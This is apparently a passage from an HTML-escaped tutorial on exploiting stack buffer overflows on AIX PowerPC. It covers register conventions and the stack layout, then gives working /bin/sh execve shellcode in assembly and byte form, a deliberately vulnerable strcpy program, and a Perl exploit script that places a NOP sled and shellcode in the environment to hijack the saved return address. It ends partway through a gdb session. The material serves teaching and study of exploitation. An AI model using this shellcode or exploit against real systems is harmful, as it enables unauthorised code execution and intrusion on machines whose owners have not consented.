r12 Volatile register used for exception handling and glink code&lt;br /&gt;
r13 Reserved for use as system thread ID&lt;br /&gt;
r14-r31 Nonvolatile registers used for local variables&lt;br /&gt;
&lt;br /&gt;
Floating-point registers (FPRs)&lt;br /&gt;
&lt;br /&gt;
f0 Volatile scratch register&lt;br /&gt;
f1-f4 Volatile floating point parameter and return value registers&lt;br /&gt;
f5-f13 Volatile floating point parameter registers&lt;br /&gt;
f14-f31 Nonvolatile registers&lt;br /&gt;
&lt;br /&gt;
Special-purpose registers (SPRs)&lt;br /&gt;
&lt;br /&gt;
LR Link register (volatile)&lt;br /&gt;
CTR Loop counter register (volatile)&lt;br /&gt;
XER Fixed point exception register (volatile)&lt;br /&gt;
FPSCR Floating point status and control register (volatile)&lt;br /&gt;
&lt;br /&gt;
CR0-CR1 Volatile condition code register fields&lt;br /&gt;
CR2-CR4 Nonvolatile condition code register fields&lt;br /&gt;
CR5-CR7 Volatile condition code register fields&lt;br /&gt;
&lt;br /&gt;
Registers r1, r14 through r31, and f14 through f31 are nonvolatile, which means that they preserve their values across function calls. Functions which use those registers must save the value before changing it, restoring it before the function returns. Register r2 is technically nonvolatile, but it is handled specially during function calls as described below: in some cases the calling function must restore its value after a function call.&lt;br /&gt;
&lt;br /&gt;
Registers r0, r3 through r12, f0 through f13, and the special purpose registers LR, CTR, XER, and FPSCR are volatile, which means that they are not preserved across function calls. Furthermore, registers r0, r2, r11, and r12 may be modified by cross-module calls, so a function can not assume that the values of one of these registers is that placed there by the calling function.&lt;br /&gt;
&lt;br /&gt;
The condition code register fields CR0, CR1, CR5, CR6, and CR7 are volatile. The condition code register fields CR2, CR3, and CR4 are nonvolatile; a function which modifies them must save and restore at least those fields of the CR. Languages that require "environment pointers" shall use r11 for that purpose.&lt;br /&gt;
&lt;br /&gt;
On AIX the svca (sc in a mnemonic notation of PowerPC) instruction is used whenever the operating system services are to be called. The r2 register denotes the system call number and registers r3-r10 are appropriately filled with a given system call arguments. There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;--[ 2 - Learn AIX PowerPC assemble format&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Use gcc -S to compile C program can obtain AIX assembly code. If you are not familiar with AIX PowerPC assemble format, just write a small program in C language.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;/* setuid.c
*
* Learn AIX PowerPC assembly
*/
#include &lt;unistd.h&gt;
int main()
{
setuid(0);
}&lt;/unistd.h&gt;&lt;/pre&gt;&lt;br /&gt;
Then compile it use gcc with -S option:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ gcc -S setuid.c&lt;/pre&gt;&lt;br /&gt;
Open setuid.s on current directory:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;.file "setuid.c"
.toc
.csect .text[PR]
.align 2
.globl main
.globl .main
.csect main[DS]
main:
.long .main, TOC[tc0], 0
.csect .text[PR]
.main:
.extern __mulh
.extern __mull
.extern __divss
.extern __divus
.extern __quoss
.extern __quous
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-72(1)
mr 31,1
li 3,0
bl .setuid
nop
mr 3,0
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
LT..main:
.long 0
.byte 0,0,32,97,128,1,0,1
.long LT..main-.main
.short 4
.byte "main"
.byte 31
.align 2
_section_.text:
.csect .data[RW],3
.long _section_.text
&lt;/pre&gt;&lt;br /&gt;
To reduce to fundamental parts, the following is enough:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;.globl .main
.csect .text[PR]
.main:
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-72(1)
mr 31,1
li 3,0
bl .setuid
nop
mr 3,0
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;--[ 3 - Learn shellcode of AIX PowerPC&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
B-r00t's PowerPC/OS X (Darwin) Shellcode Assembly is good stuff, although it is OS X but both are PowerPC architecture. We can write shellcode like B-r00t:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
xor. %r5, %r5, %r5 # r5 = NULL
bnel .main # branch to _main if not equal
mflr %r3 # r3 = main + 8
addi %r3, %r3, 32 # r3 = main + 8 + 32 = string
stw %r3, -8(%r1) # argv[0] = string
stw %r5, -4(%r1) # argv[1] = NULL
subi %r4, %r1, 8 # r4 = pointer to argv[]
li %r2, 5 # syscall number = execve
crorc %cr6, %cr6, %cr6 # There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.
svca 0 # execve(r3, r4, r5)
string: # execve(path, argv[], NULL)
.asciz "/bin/sh"

-bash-2.05b$ gcc -o simple_execve simple_execve.s
-bash-2.05b$ ./simple_execve
$
&lt;/pre&gt;&lt;br /&gt;
The execve syscall executed correct, and then use objdump check the opcode:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ objdump -d simple_execve|more
...
0000000010000544 &amp;lt;.main&amp;gt;:
10000544: 7c a5 2a 79 xor. r5,r5,r5
10000548: 40 82 ff fd bnel 10000544 &amp;lt;.main&amp;gt;
1000054c: 7c 68 02 a6 mflr r3
10000550: 38 63 00 20 cal r3,32(r3)
10000554: 90 61 ff f8 st r3,-8(r1)
10000558: 90 a1 ff fc st r5,-4(r1)
1000055c: 38 81 ff f8 cal r4,-8(r1)
10000560: 38 40 00 05 lil r2,5
10000564: 4c c6 33 42 crorc 6,6,6
10000568: 44 00 00 02 svca 0
1000056c: 2f 62 69 6e cmpi 6,r2,26990
10000570: 2f 73 68 00 cmpi 6,r19,26624
...&lt;/pre&gt;&lt;br /&gt;
There are some opcodes contain zero. These bytes must be eliminated for the shellcode to suit strcpy etc. Some instructions have reservered bytes, so we can replace it. The opcode of svca is 0x44000002. However, bytes 2 and 3 of the opcode are reserved and therefore not used. So it can be instead of 0x44ffff02. LSD provided a simple shellcode:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;/* shellcode.c
*
* ripped from lsd
*/

char shellcode[] = /* 12*4+8 bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel &lt;shellcode&gt; */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05"
;
int main(void)
{
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}&lt;/shellcode&gt;&lt;/pre&gt;&lt;br /&gt;
After compiled this program, use IDAPro to open and disassemble it. In IDAPro window, click shellcode at Names window and press c to disassemble the shellcode data:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;.data:200006D8 shellcode: # CODE XREF: .data:200006DC p
.data:200006D8 # DATA XREF: .data:shellcode_TC o
.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # r5 = NULL
.data:200006DC 40 82 FF FD bnel shellcode # branch to shellcode if not equal
.data:200006E0 7F E8 02 A6 mflr r31 # r31 = .data:200006D8 + 8
.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31 = .data:200006D8 + 8 + 0x120
.data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3 = .data:200006D8 + 8 + 0x120 - 0xF8 = .data:20000708 = string
.data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4 = .data:20000710
.data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # put address .data:20000708 to .data:20000710
.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # put 0 to .data:20000714
.data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31)# load syscall number to r2
.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # put 0 to .data:2000070F
.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700 # ------------------------------------------------------------------------
.data:20000704 44 .byte 0x44 # modified svca
.data:20000705 FF .byte 0xFF
.data:20000706 FF .byte 0xFF
.data:20000707 02 .byte 2
.data:20000708 2F .byte 0x2F # /
.data:20000709 62 .byte 0x62 # b
.data:2000070A 69 .byte 0x69 # i
.data:2000070B 6E .byte 0x6E # n
.data:2000070C 2F .byte 0x2F # /
.data:2000070D 73 .byte 0x73 # s
.data:2000070E 68 .byte 0x68 # h
.data:2000070F 05 .byte 5&lt;/pre&gt;&lt;br /&gt;
IDAPro is more powerful and it's disassembly is more understandability. OK, we know how to write and debug shellcode now.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;--[ 4 - Learn overflow technology of AIX PowerPC&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
There are differences of stack structure between PowerPC and ia32. The PowerPC stack conventions use only a stack pointer (held in register GPR1) and no frame pointer. This configuration assumes a fixed stack frame size, which is known at compile time. Parameters are not passed by pushing them onto the stack. The following is the PowerPC stack:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;. Stack before . . Stack after .
. calling a . . calling a .
| procedure | | procedure |
+----------------+- +----------------+-
| Parameter area | | | Parameter area | |
+----------------+ +-Caller +----------------+ +-Caller
| Linkage area | | | Linkage area | |
SP ---&amp;gt;+----------------+- +----------------+-
| Stack grows | | Saved registers| |
. down . +----------------+ |
. | . | Local variables| |
v +----------------+ +-Callee
| Parameter area | |
+----------------+ |
| Linkage area | |
SP ---&amp;gt;+----------------+-
| Stack grows |
. down .
. | .
v&lt;/pre&gt;&lt;br /&gt;
The PowerPC runtime environment uses a grow-down stack that contains linkage information, local variables, and a routine's parameter information.&lt;br /&gt;
&lt;br /&gt;
The calling routine's linkage area holds a number of values, some of which are saved by the calling routine and some by the called routine. It's structure as following:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;+24+----------------+
| Saved TOC |
+20+----------------+
| Reserved |
+16+----------------+
| Reserved |
+12+----------------+
| Saved LR |
+8+----------------+
| Saved CR |
+4+----------------+
| Saved SP |
SP ---&amp;gt;+----------------+
&lt;/pre&gt;&lt;br /&gt;
The Link Register (LR) value is saved at 8(SP) by the called routine if it chooses to do so.&lt;br /&gt;
The Condition Register (CR) value may be saved at 4(SP) by the called routine. As with the Link Register value, the called routine is not required to save this value.&lt;br /&gt;
The stack pointer is always saved by the calling routine as part of its stack frame.&lt;br /&gt;
&lt;br /&gt;
The parameter area has space for the parameters of any routines the caller calls (not the parameters of the caller itself). Since the calling routine might call several different routines, the parameter area must be large enough to accommodate the largest parameter list of all the routines the caller calls. It is the calling routine's responsibility for setting up the parameter area before each call to some other routine, and the called routine's responsibility for accessing the parameters placed within it.&lt;br /&gt;
&lt;br /&gt;
There are three instructions when function return on ia32:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;mov esp,ebp ; esp point to prior frame
pop ebp
ret ; execute address that saved at esp+4&lt;/pre&gt;&lt;br /&gt;
There are some instructions when function return on AIX PowerPC:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;lwz r1,0(r1) # r1 point to prior frame
lwz r0,8(r1) # load saved lr to r0
mtlr r0 # lr=r0
lwz r31,-4(r1) #
blr # execute address that saved at lr&lt;/pre&gt;&lt;br /&gt;
Although there are differences of stack structure between PowerPC and ia32, but they have the same overflow technology. We need overwrite ebp+4 of current frame to return our control address on ia32, and we need overwrite r1+8 of prior frame to return our control address on AIX PowerPC.&lt;br /&gt;
&lt;br /&gt;
Running the simple_overflow program in GDB shows that the control of the saved return address (previous LR value) is possible.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
* Simple program to demonstrate buffer overflows
* on the PowerPC architecture.
*/
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
char largebuff[] =
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main (void)
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}

-bash-2.05b$ gcc -o simple_overflow simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb) r
Starting program: /home/san/simple_overflow

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22bb0 804400048
r2 0x20000e70 536874608
r3 0x20 32
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x53455256 1397051990
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x22222842 572663874
lr 0x41424344 1094861636
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/8x $r1
0x2ff22bb0: 0x45445350 0x4143453d 0x41424344 0x00000000
0x2ff22bc0: 0x00000000 0x20000e70 0x00000000 0x00000000
&lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/pre&gt;&lt;br /&gt;
Register pc has been overwritten to ABCD and this is our controled content.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) disas main
Dump of assembler code for function main:
0x1000054c &lt;main+0&gt;: mflr r0
0x10000550 &lt;main+4&gt;: stw r31,-4(r1)
0x10000554 &lt;main+8&gt;: stw r0,8(r1)
0x10000558 &lt;main+12&gt;: stwu r1,-88(r1)
0x1000055c &lt;main+16&gt;: mr r31,r1
0x10000560 &lt;main+20&gt;: addi r3,r31,56
0x10000564 &lt;main+24&gt;: lwz r4,80(r2)
0x10000568 &lt;main+28&gt;: bl 0x10006fa0 &lt;strcpy&gt;
0x1000056c &lt;main+32&gt;: nop
0x10000570 &lt;main+36&gt;: mr r3,r0
0x10000574 &lt;main+40&gt;: lwz r1,0(r1)
0x10000578 &lt;main+44&gt;: lwz r0,8(r1)
0x1000057c &lt;main+48&gt;: mtlr r0
0x10000580 &lt;main+52&gt;: lwz r31,-4(r1)
0x10000584 &lt;main+56&gt;: blr
0x10000588 &lt;main+60&gt;: .long 0x0
0x1000058c &lt;main+64&gt;: .long 0x2061
0x10000590 &lt;main+68&gt;: lwz r0,1(r1)
0x10000594 &lt;main+72&gt;: .long 0x3c
0x10000598 &lt;main+76&gt;: .long 0x46d61
0x1000059c &lt;main+80&gt;: xori r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow

Breakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc 0x10000560 &lt;main+20&gt;: addi r3,r31,56
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22b98: 0xdeadbeef 0xdeadbeef 0x20000460 0x10000000
(gdb)
0x2ff22ba8: 0x00000003 0x20000460 0x00000000 0x44222802
0x2ff22bb8: 0x100001cc 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000&lt;/main+20&gt;&lt;/main+80&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/strcpy&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/pre&gt;&lt;br /&gt;
0x2ff22b58 is the current sp, and it contains prior stack frame address(0x2ff22bb0). So we can get the lr value that saved in prior stack frame, and it is 0x100001cc. The program will execute this address after main function return.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc 0x1000056c &lt;main+32&gt;: nop
(gdb) i reg
r0 0x20 32
r1 0x2ff22b58 804399960
r2 0x20000e70 536874608
r3 0x2ff22b90 804400016
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b58 804399960
pc 0x1000056c 268436844
ps 0x2d032 184370
cr 0x22222842 572663874
lr 0x1000056c 268436844
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0x31323334 0x35313233
0x2ff22b98: 0x34353132 0x33343531 0x32333435 0x31323334
(gdb)
0x2ff22ba8: 0x3d505245 0x53455256 0x45445350 0x4143453d
0x2ff22bb8: 0x41424344 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000&lt;/main+32&gt;&lt;/pre&gt;&lt;br /&gt;
After strcpy, the lr value that saved in prior stack frame was overwritten to 0x41424344.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) ni
0x10000570 in main ()
1: x/i $pc 0x10000570 &lt;main+36&gt;: mr r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc 0x10000574 &lt;main+40&gt;: lwz r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc 0x10000578 &lt;main+44&gt;: lwz r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc 0x1000057c &lt;main+48&gt;: mtlr r0
(gdb)
0x10000580 in main ()
1: x/i $pc 0x10000580 &lt;main+52&gt;: lwz r31,-4(r1)
(gdb)
0x10000584 in main ()
1: x/i $pc 0x10000584 &lt;main+56&gt;: blr
(gdb)&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/pre&gt;&lt;br /&gt;
Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
0x41424344 in ?? ()&lt;br /&gt;
1: x/i $pc 0x41424344: Cannot access memory at address 0x41424344&lt;br /&gt;
Disabling display 1 to avoid infinite recursion.&lt;br /&gt;
&lt;br /&gt;
These instructions has been introduced before. The program will execute the lr value that saved in prior stack frame at r1+8.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;--[ 5 - How to attack overflow vulnerability on AIX PowerPC&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now we know overflow process, then let's try to attack overflow vulnerability. The following program is the vulnerability.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
* Vulnerable program on the PowerPC architecture.
*/

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
getchar(); /* for debug */
}

-bash-2.05b$ gcc -o vulnerable vulnerable.c&lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/pre&gt;&lt;br /&gt;
0x2ff22fff seems to be stack bottom of AIX. The following is the AIX's stack structure:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Stack bottom
+----------------+ 0x2ff22fff
| Reserverd |
+----------------+
| Enviroment |
+----------------+
| args |
+----------------+
| path |
+----------------+
| Stack frames |
SP ---&amp;gt;+----------------+
| Stack grows |
. down .
. | .
. v .
&lt;/pre&gt;&lt;br /&gt;
Enviroment address can be guessed more exactly, so we put lots of nop instructions and the shellcode into the enviroment.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel &lt;shellcode&gt; */
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;
&lt;/shellcode&gt;&lt;/pre&gt;&lt;br /&gt;
Try it.&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ ./exploit.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@&lt;/pre&gt;&lt;br /&gt;
Use gdb debug the vulnerable program on the another tty:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;-bash-2.05b$ ps aux|grep vul
san 47644 0.0 0.0 208 220 pts/1 A 22:16:24 0:00 grep vul
san 44544 0.0 0.0 96 304 pts/0 A 22:16:02 0:00 /home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable, process 44544
0xd01ea254 in read () from /usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for function main:
0x10000544 &lt;main+0&gt;: mflr r0
0x10000548 &lt;main+4&gt;: stw r31,-4(r1)
0x1000054c &lt;main+8&gt;: stw r0,8(r1)
0x10000550 &lt;main+12&gt;: stwu r1,-88(r1)
0x10000554 &lt;main+16&gt;: mr r31,r1
0x10000558 &lt;main+20&gt;: stw r3,112(r31)
0x1000055c &lt;main+24&gt;: stw r4,116(r31)
0x10000560 &lt;main+28&gt;: lwz r9,116(r31)
0x10000564 &lt;main+32&gt;: addi r9,r9,4
0x10000568 &lt;main+36&gt;: addi r3,r31,56
0x1000056c &lt;main+40&gt;: lwz r4,0(r9)
0x10000570 &lt;main+44&gt;: bl 0x10007000 &lt;strcpy&gt;
0x10000574 &lt;main+48&gt;: nop
0x10000578 &lt;main+52&gt;: lwz r3,88(r2)
0x1000057c &lt;main+56&gt;: addi r4,r31,56
0x10000580 &lt;main+60&gt;: bl 0x100073ec &lt;printf&gt;
0x10000584 &lt;main+64&gt;: lwz r2,20(r1)
0x10000588 &lt;main+68&gt;: lwz r11,92(r2)
0x1000058c &lt;main+72&gt;: lwz r9,92(r2)
0x10000590 &lt;main+76&gt;: lwz r9,4(r9)
0x10000594 &lt;main+80&gt;: addi r0,r9,-1
0x10000598 &lt;main+84&gt;: stw r0,4(r11)
0x1000059c &lt;main+88&gt;: cmpwi r0,0
0x100005a0 &lt;main+92&gt;: bge- 0x100005b4 &lt;main+112&gt;
0x100005a4 &lt;main+96&gt;: lwz r3,92(r2)
0x100005a8 &lt;main+100&gt;: bl 0x1000747c &amp;lt;__filbuf&amp;gt;
0x100005ac &lt;main+104&gt;: lwz r2,20(r1)
0x100005b0 &lt;main+108&gt;: b 0x100005c8 &lt;main+132&gt;
0x100005b4 &lt;main+112&gt;: lwz r11,92(r2)
0x100005b8 &lt;main+116&gt;: lwz r9,92(r2)
0x100005bc &lt;main+120&gt;: lwz r9,0(r9)
0x100005c0 &lt;main+124&gt;: addi r0,r9,1
0x100005c4 &lt;main+128&gt;: stw r0,0(r11)
0x100005c8 &lt;main+132&gt;: mr r3,r0
0x100005cc &lt;main+136&gt;: lwz r1,0(r1)
0x100005d0 &lt;main+140&gt;: lwz r0,8(r1)
0x100005d4 &lt;main+144&gt;: mtlr r0
0x100005d8 &lt;main+148&gt;: lwz r31,-4(r1)
0x100005dc &lt;main+152&gt;: blr
0x100005e0 &lt;main+156&gt;: .long 0x0
0x100005e4 &lt;main+160&gt;: .long 0x2061
0x100005e8 &lt;main+164&gt;: lwz r0,513(r1)
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
0x100005ec &lt;main+168&gt;: .long 0x0
0x100005f0 &lt;main+172&gt;: .long 0x9c
0x100005f4 &lt;main+176&gt;: .long 0x46d61
0x100005f8 &lt;main+180&gt;: xori r14,r11,7936
End of assembler dump.
(gdb) b *0x100005dc
Breakpoint 1 at 0x100005dc
(gdb) c
Continuing.&lt;/main+180&gt;&lt;/main+176&gt;&lt;/main+172&gt;&lt;/main+168&gt;&lt;/return&gt;&lt;/return&gt;&lt;/main+164&gt;&lt;/main+160&gt;&lt;/main+156&gt;&lt;/main+152&gt;&lt;/main+148&gt;&lt;/main+144&gt;&lt;/main+140&gt;&lt;/main+136&gt;&lt;/main+132&gt;&lt;/main+128&gt;&lt;/main+124&gt;&lt;/main+120&gt;&lt;/main+116&gt;&lt;/main+112&gt;&lt;/main+132&gt;&lt;/main+108&gt;&lt;/main+104&gt;&lt;/main+100&gt;&lt;/main+96&gt;&lt;/main+112&gt;&lt;/main+92&gt;&lt;/main+88&gt;&lt;/main+84&gt;&lt;/main+80&gt;&lt;/main+76&gt;&lt;/main+72&gt;&lt;/main+68&gt;&lt;/main+64&gt;&lt;/printf&gt;&lt;/main+60&gt;&lt;/main+56&gt;&lt;/main+52&gt;&lt;/main+48&gt;&lt;/strcpy&gt;&lt;/main+44&gt;&lt;/main+40&gt;&lt;/main+36&gt;&lt;/main+32&gt;&lt;/main+28&gt;&lt;/main+24&gt;&lt;/main+20&gt;&lt;/main+16&gt;&lt;/main+12&gt;&lt;/main+8&gt;&lt;/main+4&gt;&lt;/main+0&gt;&lt;/pre&gt;&lt;br /&gt;
Press any key at the tty which running exploit.pl, and the gdb debug window continues:&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Breakpoint 1, 0x100005dc in main ()
(gdb) i reg
r0 0x100001cc 268435916
r1 0x2ff22210 804397584
r2 0x20000ee8 536874728
r3 0xf00890f1 -267874063
r4 0xf00890f0 -267874064
r5 0x0 0
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x60002449 1610622025
r10 0x0 0
r11 0x600026c8 1610622664
r12 0x100005ac 268436908
r13 0xdeadbeef -559038737
r14 0x2 2
r15 0x2ff22264 804397668
r16 0x2ff22270 804397680
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000520 536872224
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b40 804399936
pc 0x100005dc 268436956
ps 0x2d032 184370
cnd 0x24222422 606217250
lr 0x100001cc 268435916
cnt 0x0 0
xer 0x0 0
mq 0x0 0
fpscr 0x0 0
(gdb) x/20x $r1
